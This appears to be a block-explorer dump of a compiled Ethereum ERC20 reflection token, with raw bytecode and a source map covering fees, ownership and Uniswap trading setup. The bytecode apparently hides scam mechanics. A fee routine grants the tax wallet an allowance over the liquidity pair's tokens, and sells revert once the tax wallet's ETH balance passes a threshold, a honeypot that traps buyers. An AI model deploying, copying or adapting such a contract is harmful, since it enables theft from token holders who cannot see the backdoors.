57600080fd5b506102a761059f565b34801561031457600080fd5b5061020760155481565b34801561032a57600080fd5b506000546001600160a01b03166101d8565b34801561034857600080fd5b5061020760165481565b34801561035e57600080fd5b5060408051808201909152600481526348494e5560e01b6020820152610172565b34801561038b57600080fd5b506102a761039a36600461170f565b6105dc565b3480156103ab57600080fd5b506101a86103ba36600461165a565b61064d565b6102a761065a565b3480156103d357600080fd5b506102076103e2366004611741565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041957600080fd5b506102a76104283660046116f2565b6109ee565b600061043a338484610ad8565b5060015b92915050565b6000610451848484610b9a565b6104a3843361049e85604051806060016040528060288152602001611914602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ea0565b610ad8565b5060019392505050565b6000546001600160a01b031633146104e05760405162461bcd60e51b81526004016104d79061177a565b60405180910390fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b61050747610eda565b565b6001600160a01b03811660009081526002602052604081205461043e90610f18565b6000546001600160a01b031633146105555760405162461bcd60e51b81526004016104d79061177a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105c95760405162461bcd60e51b81526004016104d79061177a565b67016345785d8a00006015819055601655565b6000546001600160a01b031633146106065760405162461bcd60e51b81526004016104d79061177a565b6008849055600a8390556009829055600b8190556005818361062886886117c5565b61063291906117c5565b61063c91906117c5565b111561064757600080fd5b50505050565b600061043a338484610b9a565b6000546001600160a01b031633146106845760405162461bcd60e51b81526004016104d79061177a565b601454600160a01b900460ff16156106de5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d7565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071b90309067016345785d8a0000610ad8565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079291906117d8565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081891906117d8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610865573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088991906117d8565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d71934306108b981610509565b6000806108ce6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610936573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061095b91906117f5565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d89190611823565b506014805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a185760405162461bcd60e51b81526004016104d79061177a565b6001600160a01b038116610a7d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038216610b395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bad57600080fd5b6001600160a01b038216610bc057600080fd5b60008111610bcd57600080fd5b6000546001600160a01b03848116911614801590610bf957506000546001600160a01b03838116911614155b15610d7f576014546001600160a01b03838116911614801590610c2a57506012546001600160a01b03838116911614155b8015610c4457506010546001600160a01b03838116911614155b8015610c5957506001600160a01b0382163014155b15610ca357601554811115610c6d57600080fd5b6014546001600160a01b03838116911614610ca35760165481610c8f84610509565b610c9991906117c5565b10610ca357600080fd5b6000610cae30610509565b6017549091508110801590610cc35760175491505b808015610cda5750601454600160a81b900460ff16155b8015610cf457506014546001600160a01b03868116911614155b8015610d095750601454600160b01b900460ff165b8015610d2e57506001600160a01b03851660009081526005602052604090205460ff16155b8015610d5357506001600160a01b03841660009081526005602052604090205460ff16155b15610d7c57610d6182610f9c565b47666a94d74f430000811115610d7a57610d7a81610eda565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dc157506001600160a01b03831660009081526005602052604090205460ff165b80610df357506014546001600160a01b03858116911614801590610df357506014546001600160a01b03848116911614155b15610e0057506000610e94565b6014546001600160a01b038581169116148015610e2b57506013546001600160a01b03848116911614155b15610e3d57600854600c55600954600d555b6014546001600160a01b038481169116148015610e6857506013546001600160a01b03858116911614155b15610e94576017546011546001600160a01b03163110610e8757600080fd5b600a54600c55600b54600d555b61064784848484611116565b60008184841115610ec45760405162461bcd60e51b81526004016104d791906115f4565b506000610ed18486611840565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f14573d6000803e3d6000fd5b5050565b6000600654821115610f7f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104d7565b6000610f89611144565b9050610f958382611167565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fe457610fe4611853565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561103d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106191906117d8565b8160018151811061107457611074611853565b6001600160a01b03928316602091820292909201015260135461109a9130911684610ad8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906110d3908590600090869030904290600401611869565b600060405180830381600087803b1580156110ed57600080fd5b505af1158015611101573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611123576111236111a9565b61112e8484846111fc565b8061064757610647600e54600c55600f54600d55565b60008060006111516112f3565b90925090506111608282611167565b9250505090565b6000610f9583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611333565b6014546011546111ce916001600160a01b03908116911667016345785d8a0000610ad8565b600c541580156111de5750600d54155b156111e557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061120e87611361565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061124090876113be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461126f9086611400565b6001600160a01b0389166000908152600260205260409020556112918161145f565b61129b84836114a9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112e091815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a000061130e8282611167565b82101561132a5750506006549267016345785d8a000092509050565b90939092509050565b600081836113545760405162461bcd60e51b81526004016104d791906115f4565b506000610ed184866118da565b600080600080600080600080600061137e8a600c54600d546114cd565b925092509250600061138e611144565b905060008060006113a18e878787611522565b919e509c509a509598509396509194505050505091939550919395565b6000610f9583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea0565b60008061140d83856117c5565b905083811015610f955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d7565b6000611469611144565b905060006114778383611572565b306000908152600260205260409020549091506114949082611400565b30600090815260026020526040902055505050565b6006546114b690836113be565b6006556007546114c69082611400565b6007555050565b60008080806114e760646114e18989611572565b90611167565b905060006114fa60646114e18a89611572565b905060006115128261150c8b866113be565b906113be565b9992985090965090945050505050565b60008080806115318886611572565b9050600061153f8887611572565b9050600061154d8888611572565b9050600061155f8261150c86866113be565b939b939a50919850919650505050505050565b6000826000036115845750600061043e565b600061159083856118fc565b90508261159d85836118da565b14610f955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d7565b600060208083528351808285015260005b8181101561162157858101830151858201604001528201611605565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461165757600080fd5b50565b6000806040838503121561166d57600080fd5b823561167881611642565b946020939093013593505050565b60008060006060848603121561169b57600080fd5b83356116a681611642565b925060208401356116b681611642565b929592945050506040919091013590565b801515811461165757600080fd5b6000602082840312156116e757600080fd5b8135610f95816116c7565b60006020828403121561170457600080fd5b8135610f9581611642565b6000806000806080858703121561172557600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561175457600080fd5b823561175f81611642565b9150602083013561176f81611642565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561043e5761043e6117af565b6000602082840312156117ea57600080fd5b8151610f9581611642565b60008060006060848603121561180a57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561183557600080fd5b8151610f95816116c7565b8181038181111561043e5761043e6117af565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118b95784516001600160a01b031683529383019391830191600101611894565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118f757634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761043e5761043e6117af56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b34ae8ff299a64740f95fd225fbeca212ed3c75f2e6f37be1479865ba7e3ae6564736f6c63430008130033

Deployed Bytecode Sourcemap

18445:12161:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20536:83;;;;;;;;;;-1:-1:-1;20606:5:0;;;;;;;;;;;;-1:-1:-1;;;20606:5:0;;;;20536:83;;;;;;;:::i;:::-;;;;;;;;21461:193;;;;;;;;;;-1:-1:-1;21461:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;21461:193:0;1023:187:1;19740:41:0;;;;;;;;;;-1:-1:-1;19740:41:0;;;;-1:-1:-1;;;;;19740:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;19740:41:0;1215:229:1;20813:95:0;;;;;;;;;;-1:-1:-1;18991:19:0;20813:95;;;1595:25:1;;;1583:2;1568:18;20813:95:0;1449:177:1;21662:446:0;;;;;;;;;;-1:-1:-1;21662:446:0;;;;;:::i;:::-;;:::i;20045:52::-;;;;;;;;;;;;;;;;20722:83;;;;;;;;;;-1:-1:-1;20722:83:0;;18665:1;2234:36:1;;2222:2;2207:18;20722:83:0;2092:184:1;19788:28:0;;;;;;;;;;-1:-1:-1;19788:28:0;;;;-1:-1:-1;;;;;19788:28:0;;;25948:104;;;;;;;;;;-1:-1:-1;25948:104:0;;;;;:::i;:::-;;:::i;:::-;;25854:86;;;;;;;;;;;;;:::i;20916:138::-;;;;;;;;;;-1:-1:-1;20916:138:0;;;;;:::i;:::-;;:::i;15932:148::-;;;;;;;;;;;;;:::i;29840:119::-;;;;;;;;;;;;;:::i;19939:45::-;;;;;;;;;;;;;;;;15718:79;;;;;;;;;;-1:-1:-1;15756:7:0;15783:6;-1:-1:-1;;;;;15783:6:0;15718:79;;19991:47;;;;;;;;;;;;;;;;20627:87;;;;;;;;;;-1:-1:-1;20699:7:0;;;;;;;;;;;;-1:-1:-1;;;20699:7:0;;;;20627:87;;29458:374;;;;;;;;;;-1:-1:-1;29458:374:0;;;;;:::i;:::-;;:::i;21062:199::-;;;;;;;;;;-1:-1:-1;21062:199:0;;;;;:::i;:::-;;:::i;29967:636::-;;;:::i;21269:184::-;;;;;;;;;;-1:-1:-1;21269:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;21418:18:0;;;21386:7;21418:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;21269:184;16088:244;;;;;;;;;;-1:-1:-1;16088:244:0;;;;;:::i;:::-;;:::i;21461:193::-;21563:4;21585:39;14557:10;21608:7;21617:6;21585:8;:39::i;:::-;-1:-1:-1;21642:4:0;21461:193;;;;;:::o;21662:446::-;21794:4;21811:36;21821:6;21829:9;21840:6;21811:9;:36::i;:::-;21858:220;21881:6;14557:10;21929:138;21985:6;21929:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;21929:19:0;;;;;;:11;:19;;;;;;;;14557:10;21929:33;;;;;;;;;;:37;:138::i;:::-;21858:8;:220::i;:::-;-1:-1:-1;22096:4:0;21662:446;;;;;:::o;25948:104::-;15845:6;;-1:-1:-1;;;;;15845:6:0;14557:10;15845:22;15837:67;;;;-1:-1:-1;;;15837:67:0;;;;;;;:::i;:::-;;;;;;;;;26018:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;26018:26:0::1;-1:-1:-1::0;;;;26018:26:0;;::::1;::::0;;;::::1;::::0;;25948:104::o;25854:86::-;25897:35;25910:21;25897:12;:35::i;:::-;25854:86::o;20916:138::-;-1:-1:-1;;;;;21029:16:0;;20982:7;21029:16;;;:7;:16;;;;;;21009:37;;:19;:37::i;15932:148::-;15845:6;;-1:-1:-1;;;;;15845:6:0;14557:10;15845:22;15837:67;;;;-1:-1:-1;;;15837:67:0;;;;;;;:::i;:::-;16039:1:::1;16023:6:::0;;16002:40:::1;::::0;-1:-1:-1;;;;;16023:6:0;;::::1;::::0;16002:40:::1;::::0;16039:1;;16002:40:::1;16070:1;16053:19:::0;;-1:-1:-1;;;;;;16053:19:0::1;::::0;;15932:148::o;29840:119::-;15845:6;;-1:-1:-1;;;;;15845:6:0;14557:10;15845:22;15837:67;;;;-1:-1:-1;;;15837:67:0;;;;;;;:::i;:::-;18991:19:::1;29894:12;:22:::0;;;29927:14:::1;:24:::0;29840:119::o;29458:374::-;15845:6;;-1:-1:-1;;;;;15845:6:0;14557:10;15845:22;15837:67;;;;-1:-1:-1;;;15837:67:0;;;;;;;:::i;:::-;29592:14:::1;:30:::0;;;29633:15:::1;:32:::0;;;29676:12:::1;:26:::0;;;29713:13:::1;:28:::0;;;29822:1:::1;29729:12:::0;29691:11;29761:30:::1;29651:14:::0;29609:13;29761:30:::1;:::i;:::-;:43;;;;:::i;:::-;:57;;;;:::i;:::-;:62;;29752:72;;;::::0;::::1;;29458:374:::0;;;;:::o;21062:199::-;21167:4;21189:42;14557:10;21213:9;21224:6;21189:9;:42::i;29967:636::-;15845:6;;-1:-1:-1;;;;;15845:6:0;14557:10;15845:22;15837:67;;;;-1:-1:-1;;;15837:67:0;;;;;;;:::i;:::-;30037:11:::1;::::0;-1:-1:-1;;;30037:11:0;::::1;;;30036:12;30028:47;;;::::0;-1:-1:-1;;;30028:47:0;;4718:2:1;30028:47:0::1;::::0;::::1;4700:21:1::0;4757:2;4737:18;;;4730:30;4796:25;4776:18;;;4769:53;4839:18;;30028:47:0::1;4516:347:1::0;30028:47:0::1;30086:15;:80:::0;;-1:-1:-1;;;;;;30086:80:0::1;30123:42;30086:80:::0;;::::1;::::0;;;30177:58:::1;::::0;30194:4:::1;::::0;18991:19:::1;30177:8;:58::i;:::-;30280:15;;;;;;;;;-1:-1:-1::0;;;;;30280:15:0::1;-1:-1:-1::0;;;;;30280:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;30262:55:0::1;;30326:4;30333:15;;;;;;;;;-1:-1:-1::0;;;;;30333:15:0::1;-1:-1:-1::0;;;;;30333:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;30262:94;::::0;-1:-1:-1;;;;;;30262:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5354:15:1;;;30262:94:0::1;::::0;::::1;5336:34:1::0;5406:15;;5386:18;;;5379:43;5271:18;;30262:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;30246:13;:110:::0;;-1:-1:-1;;;;;;30246:110:0::1;-1:-1:-1::0;;;;;30246:110:0;;::::1;;::::0;;30367:15:::1;::::0;::::1;:31;30406:9;30425:4;30431:24;30425:4:::0;30431:9:::1;:24::i;:::-;30456:1;30458::::0;30460:7:::1;15756::::0;15783:6;-1:-1:-1;;;;;15783:6:0;;15718:79;30460:7:::1;30367:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;30367:117:0;;;-1:-1:-1;;;;;5792:15:1;;;30367:117:0::1;::::0;::::1;5774:34:1::0;5824:18;;;5817:34;;;;5867:18;;;5860:34;;;;5910:18;;;5903:34;5974:15;;;5953:19;;;5946:44;30468:15:0::1;6006:19:1::0;;;5999:35;5708:19;;30367:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;30502:13:0::1;::::0;30533:15:::1;::::0;30495:71:::1;::::0;-1:-1:-1;;;30495:71:0;;-1:-1:-1;;;;;30533:15:0;;::::1;30495:71;::::0;::::1;6530:51:1::0;-1:-1:-1;;6597:18:1;;;6590:34;30502:13:0;::::1;::::0;-1:-1:-1;30495:29:0::1;::::0;6503:18:1;;30495:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;30577:11:0::1;:18:::0;;-1:-1:-1;;;;30577:18:0::1;-1:-1:-1::0;;;30577:18:0::1;::::0;;29967:636::o;16088:244::-;15845:6;;-1:-1:-1;;;;;15845:6:0;14557:10;15845:22;15837:67;;;;-1:-1:-1;;;15837:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16177:22:0;::::1;16169:73;;;::::0;-1:-1:-1;;;16169:73:0;;7087:2:1;16169:73:0::1;::::0;::::1;7069:21:1::0;7126:2;7106:18;;;7099:30;7165:34;7145:18;;;7138:62;-1:-1:-1;;;7216:18:1;;;7209:36;7262:19;;16169:73:0::1;6885:402:1::0;16169:73:0::1;16279:6;::::0;;16258:38:::1;::::0;-1:-1:-1;;;;;16258:38:0;;::::1;::::0;16279:6;::::1;::::0;16258:38:::1;::::0;::::1;16307:6;:17:::0;;-1:-1:-1;;;;;;16307:17:0::1;-1:-1:-1::0;;;;;16307:17:0;;;::::1;::::0;;;::::1;::::0;;16088:244::o;22854:290::-;-1:-1:-1;;;;;22981:21:0;;22973:68;;;;-1:-1:-1;;;22973:68:0;;7494:2:1;22973:68:0;;;7476:21:1;7533:2;7513:18;;;7506:30;7572:34;7552:18;;;7545:62;-1:-1:-1;;;7623:18:1;;;7616:32;7665:19;;22973:68:0;7292:398:1;22973:68:0;-1:-1:-1;;;;;23052:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;23104:32;;1595:25:1;;;23104:32:0;;1568:18:1;23104:32:0;;;;;;;22854:290;;;:::o;23152:2103::-;-1:-1:-1;;;;;23274:18:0;;23266:27;;;;;;-1:-1:-1;;;;;23312:16:0;;23304:25;;;;;;23357:1;23348:6;:10;23340:19;;;;;;15756:7;15783:6;-1:-1:-1;;;;;23376:15:0;;;15783:6;;23376:15;;;;:32;;-1:-1:-1;15756:7:0;15783:6;-1:-1:-1;;;;;23395:13:0;;;15783:6;;23395:13;;23376:32;23372:1080;;;23436:13;;-1:-1:-1;;;;;23430:19:0;;;23436:13;;23430:19;;;;:42;;-1:-1:-1;23459:13:0;;-1:-1:-1;;;;;23453:19:0;;;23459:13;;23453:19;;23430:42;:71;;;;-1:-1:-1;23482:19:0;;-1:-1:-1;;;;;23476:25:0;;;23482:19;;23476:25;;23430:71;:94;;;;-1:-1:-1;;;;;;23505:19:0;;23519:4;23505:19;;23430:94;23427:300;;;23563:12;;23553:6;:22;;23545:31;;;;;;23604:13;;-1:-1:-1;;;;;23598:19:0;;;23604:13;;23598:19;23595:115;;23675:14;;23666:6;23650:13;23660:2;23650:9;:13::i;:::-;:22;;;;:::i;:::-;:39;23642:48;;;;;;23743:28;23774:24;23792:4;23774:9;:24::i;:::-;23852:19;;23743:55;;-1:-1:-1;23828:43:0;;;;;23888:138;;23991:19;;23968:42;;23888:138;24046:7;:18;;;;-1:-1:-1;24058:6:0;;-1:-1:-1;;;24058:6:0;;;;24057:7;24046:18;:43;;;;-1:-1:-1;24076:13:0;;-1:-1:-1;;;;;24068:21:0;;;24076:13;;24068:21;;24046:43;:58;;;;-1:-1:-1;24093:11:0;;-1:-1:-1;;;24093:11:0;;;;24046:58;:87;;;;-1:-1:-1;;;;;;24109:24:0;;;;;;:18;:24;;;;;;;;24108:25;24046:87;:114;;;;-1:-1:-1;;;;;;24138:22:0;;;;;;:18;:22;;;;;;;;24137:23;24046:114;24042:399;;;24181:38;24198:20;24181:16;:38::i;:::-;24267:21;24332:17;24311:38;;24307:119;;;24374:32;24387:18;24374:12;:32::i;:::-;24162:279;24042:399;23410:1042;;23372:1080;-1:-1:-1;;;;;24528:24:0;;24464:12;24528:24;;;:18;:24;;;;;;24479:4;;24528:24;;;:50;;-1:-1:-1;;;;;;24556:22:0;;;;;;:18;:22;;;;;;;;24528:50;24527:102;;;-1:-1:-1;24592:13:0;;-1:-1:-1;;;;;24584:21:0;;;24592:13;;24584:21;;;;:44;;-1:-1:-1;24615:13:0;;-1:-1:-1;;;;;24609:19:0;;;24615:13;;24609:19;;24584:44;24523:671;;;-1:-1:-1;24656:5:0;24523:671;;;24739:13;;-1:-1:-1;;;;;24731:21:0;;;24739:13;;24731:21;:55;;;;-1:-1:-1;24770:15:0;;-1:-1:-1;;;;;24756:30:0;;;24770:15;;24756:30;;24731:55;24728:162;;;24819:14;;24807:9;:26;24862:12;;24852:7;:22;24728:162;24949:13;;-1:-1:-1;;;;;24943:19:0;;;24949:13;;24943:19;:55;;;;-1:-1:-1;24982:15:0;;-1:-1:-1;;;;;24966:32:0;;;24982:15;;24966:32;;24943:55;24939:242;;;25057:19;;25035:10;;-1:-1:-1;;;;;25035:10:0;25027:27;:49;25019:58;;;;;;25108:15;;25096:9;:27;25152:13;;25142:7;:23;24939:242;25206:41;25221:4;25227:2;25231:6;25239:7;25206:14;:41::i;16696:224::-;16816:7;16852:12;16844:6;;;;16836:29;;;;-1:-1:-1;;;16836:29:0;;;;;;;;:::i;:::-;-1:-1:-1;16876:9:0;16888:5;16892:1;16888;:5;:::i;:::-;16876:17;16696:224;-1:-1:-1;;;;;16696:224:0:o;25754:92::-;25811:10;;:27;;-1:-1:-1;;;;;25811:10:0;;;;:27;;;;;25831:6;;25811:10;:27;:10;:27;25831:6;25811:10;:27;;;;;;;;;;;;;;;;;;;;;25754:92;:::o;22116:323::-;22211:7;22269;;22258;:18;;22236:110;;;;-1:-1:-1;;;22236:110:0;;8030:2:1;22236:110:0;;;8012:21:1;8069:2;8049:18;;;8042:30;8108:34;8088:18;;;8081:62;-1:-1:-1;;;8159:18:1;;;8152:40;8209:19;;22236:110:0;7828:406:1;22236:110:0;22357:19;22379:10;:8;:10::i;:::-;22357:32;-1:-1:-1;22407:24:0;:7;22357:32;22407:11;:24::i;:::-;22400:31;22116:323;-1:-1:-1;;;22116:323:0:o;25263:483::-;20191:6;:13;;-1:-1:-1;;;;20191:13:0;-1:-1:-1;;;20191:13:0;;;25365:16:::1;::::0;;25379:1:::1;25365:16:::0;;;;;::::1;::::0;;-1:-1:-1;;25365:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;25365:16:0::1;25341:40;;25410:4;25392;25397:1;25392:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;25392:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;25436:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;25436:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;25392:7;;25436:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25426:4;25431:1;25426:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;25426:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;25501:15:::1;::::0;25469:62:::1;::::0;25486:4:::1;::::0;25501:15:::1;25519:11:::0;25469:8:::1;:62::i;:::-;25542:15;::::0;:196:::1;::::0;-1:-1:-1;;;25542:196:0;;-1:-1:-1;;;;;25542:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;25623:11;;25542:15:::1;::::0;25665:4;;25692::::1;::::0;25712:15:::1;::::0;25542:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;20227:6:0;:14;;-1:-1:-1;;;;20227:14:0;;;-1:-1:-1;;;;25263:483:0:o;26060:282::-;26216:7;26211:28;;26225:14;:12;:14::i;:::-;26250:44;26268:6;26276:9;26287:6;26250:17;:44::i;:::-;26310:7;26305:29;;26319:15;22785:17;;22773:9;:29;22823:15;;22813:7;:25;22729:117;29021:164;29063:7;29084:15;29101;29120:19;:17;:19::i;:::-;29083:56;;-1:-1:-1;29083:56:0;-1:-1:-1;29157:20:0;29083:56;;29157:11;:20::i;:::-;29150:27;;;;29021:164;:::o;17182:132::-;17240:7;17267:39;17271:1;17274;17267:39;;;;;;;;;;;;;;;;;:3;:39::i;22447:274::-;22499:13;;22514:10;;22490:44;;-1:-1:-1;;;;;22499:13:0;;;;22514:10;18991:19;22490:8;:44::i;:::-;22549:9;;:14;:30;;;;-1:-1:-1;22567:7:0;;:12;22549:30;22545:43;;;22447:274::o;22545:43::-;22620:9;;;22600:17;:29;22658:7;;;22640:15;:25;-1:-1:-1;22678:13:0;;;;22702:11;22447:274::o;26350:610::-;26497:15;26527:23;26565:12;26592:23;26630:12;26657:13;26684:19;26695:7;26684:10;:19::i;:::-;-1:-1:-1;;;;;26732:15:0;;;;;;:7;:15;;;;;;26482:221;;-1:-1:-1;26482:221:0;;-1:-1:-1;26482:221:0;;-1:-1:-1;26482:221:0;-1:-1:-1;26482:221:0;-1:-1:-1;26482:221:0;-1:-1:-1;26732:28:0;;26482:221;26732:19;:28::i;:::-;-1:-1:-1;;;;;26714:15:0;;;;;;;:7;:15;;;;;;:46;;;;26792:18;;;;;;;:39;;26815:15;26792:22;:39::i;:::-;-1:-1:-1;;;;;26771:18:0;;;;;;:7;:18;;;;;:60;26842:16;26852:5;26842:9;:16::i;:::-;26869:23;26881:4;26887;26869:11;:23::i;:::-;26925:9;-1:-1:-1;;;;;26908:44:0;26917:6;-1:-1:-1;;;;;26908:44:0;;26936:15;26908:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;26908:44:0;;;;;;;;26471:489;;;;;;26350:610;;;:::o;29193:257::-;29291:7;;29244;;;;18991:19;29359:20;29291:7;18991:19;29359:11;:20::i;:::-;29349:7;:30;29345:61;;;-1:-1:-1;;29389:7:0;;;18991:19;;-1:-1:-1;29193:257:0;-1:-1:-1;29193:257:0:o;29345:61::-;29425:7;;29434;;-1:-1:-1;29193:257:0;-1:-1:-1;29193:257:0:o;17322:223::-;17442:7;17477:12;17470:5;17462:28;;;;-1:-1:-1;;;17462:28:0;;;;;;;;:::i;:::-;-1:-1:-1;17501:9:0;17513:5;17517:1;17513;:5;:::i;27379:615::-;27479:7;27501;27523;27545;27567;27589;27625:23;27650:12;27664:13;27694:40;27706:7;27715:9;;27726:7;;27694:11;:40::i;:::-;27624:110;;;;;;27745:19;27767:10;:8;:10::i;:::-;27745:32;;27789:15;27806:23;27831:12;27860:46;27872:7;27881:4;27887:5;27894:11;27860;:46::i;:::-;27788:118;;-1:-1:-1;27788:118:0;-1:-1:-1;27788:118:0;-1:-1:-1;27957:15:0;;-1:-1:-1;27974:4:0;;-1:-1:-1;27980:5:0;;-1:-1:-1;;;;;27379:615:0;;;;;;;:::o;16552:136::-;16610:7;16637:43;16641:1;16644;16637:43;;;;;;;;;;;;;;;;;:3;:43::i;16365:179::-;16423:7;;16455:5;16459:1;16455;:5;:::i;:::-;16443:17;;16484:1;16479;:6;;16471:46;;;;-1:-1:-1;;;16471:46:0;;9912:2:1;16471:46:0;;;9894:21:1;9951:2;9931:18;;;9924:30;9990:29;9970:18;;;9963:57;10037:18;;16471:46:0;9710:351:1;26968:211:0;27021:19;27043:10;:8;:10::i;:::-;27021:32;-1:-1:-1;27064:13:0;27080:22;:5;27021:32;27080:9;:22::i;:::-;27154:4;27138:22;;;;:7;:22;;;;;;27064:38;;-1:-1:-1;27138:33:0;;27064:38;27138:26;:33::i;:::-;27129:4;27113:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;26968:211:0:o;27187:147::-;27265:7;;:17;;27277:4;27265:11;:17::i;:::-;27255:7;:27;27306:10;;:20;;27321:4;27306:14;:20::i;:::-;27293:10;:33;-1:-1:-1;;27187:147:0:o;28002:469::-;28171:7;;;;28265:30;28291:3;28265:21;:7;28277:8;28265:11;:21::i;:::